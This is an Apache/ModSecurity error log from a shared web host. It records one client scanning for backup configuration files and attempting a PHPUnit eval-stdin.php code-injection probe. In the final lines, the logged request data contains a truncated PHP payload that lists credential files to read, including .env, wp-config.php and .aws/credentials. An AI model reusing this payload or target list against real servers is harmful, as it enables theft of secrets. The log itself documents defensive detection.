[Fri Jul 17 08:55:18.304284 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.305528 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.305874 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php.bak"] [unique_id "almgnnRlmrtCoY_COpcl4QAAAAg"]
[Fri Jul 17 08:55:18.306395 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php.bak"] [unique_id "almgnnRlmrtCoY_COpcl4QAAAAg"]
[Fri Jul 17 08:55:18.306522 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.306664 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnnRlmrtCoY_COpcl4QAAAAg"]
[Fri Jul 17 08:55:18.313908 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.329467 2026] [autoindex:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01276: Cannot serve directory /home/stravel1/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 08:55:18.329700 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.341333 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.347958 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php.old"] [unique_id "almgng5GPQ6hs4VrfMpBdQAAAAY"]
[Fri Jul 17 08:55:18.348932 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.349487 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.php.bak"] [unique_id "almgnlCBpfuYyhJ140vSowAAAB4"]
[Fri Jul 17 08:55:18.349496 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.php~"] [unique_id "almgni0HS8lGbZyK8qt3FAAAACM"]
[Fri Jul 17 08:55:18.350198 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.php.old"] [unique_id "almgnol9vhFBGA6D8l96AAAAAAw"]
[Fri Jul 17 08:55:18.350249 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.php~"] [unique_id "almgni0HS8lGbZyK8qt3FAAAACM"]
[Fri Jul 17 08:55:18.350272 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.php.bak"] [unique_id "almgnlCBpfuYyhJ140vSowAAAB4"]
[Fri Jul 17 08:55:18.350412 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.350429 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.350596 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgni0HS8lGbZyK8qt3FAAAACM"]
[Fri Jul 17 08:55:18.350611 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnlCBpfuYyhJ140vSowAAAB4"]
[Fri Jul 17 08:55:18.350660 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.php.old"] [unique_id "almgnol9vhFBGA6D8l96AAAAAAw"]
[Fri Jul 17 08:55:18.350768 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.350907 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l96AAAAAAw"]
[Fri Jul 17 08:55:18.351490 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php.old"] [unique_id "almgng5GPQ6hs4VrfMpBdQAAAAY"]
[Fri Jul 17 08:55:18.354473 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.354717 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng5GPQ6hs4VrfMpBdQAAAAY"]
[Fri Jul 17 08:55:18.366653 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.366957 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.369075 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.yml.bak"] [unique_id "almgnnRlmrtCoY_COpcl4gAAAAg"]
[Fri Jul 17 08:55:18.369323 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.bak"] [unique_id "almgnnRlmrtCoY_COpcl4gAAAAg"]
[Fri Jul 17 08:55:18.369587 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.bak"] [unique_id "almgnnRlmrtCoY_COpcl4gAAAAg"]
[Fri Jul 17 08:55:18.369726 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.369851 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnnRlmrtCoY_COpcl4gAAAAg"]
[Fri Jul 17 08:55:18.371545 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.379611 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.380201 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.380930 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.381832 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
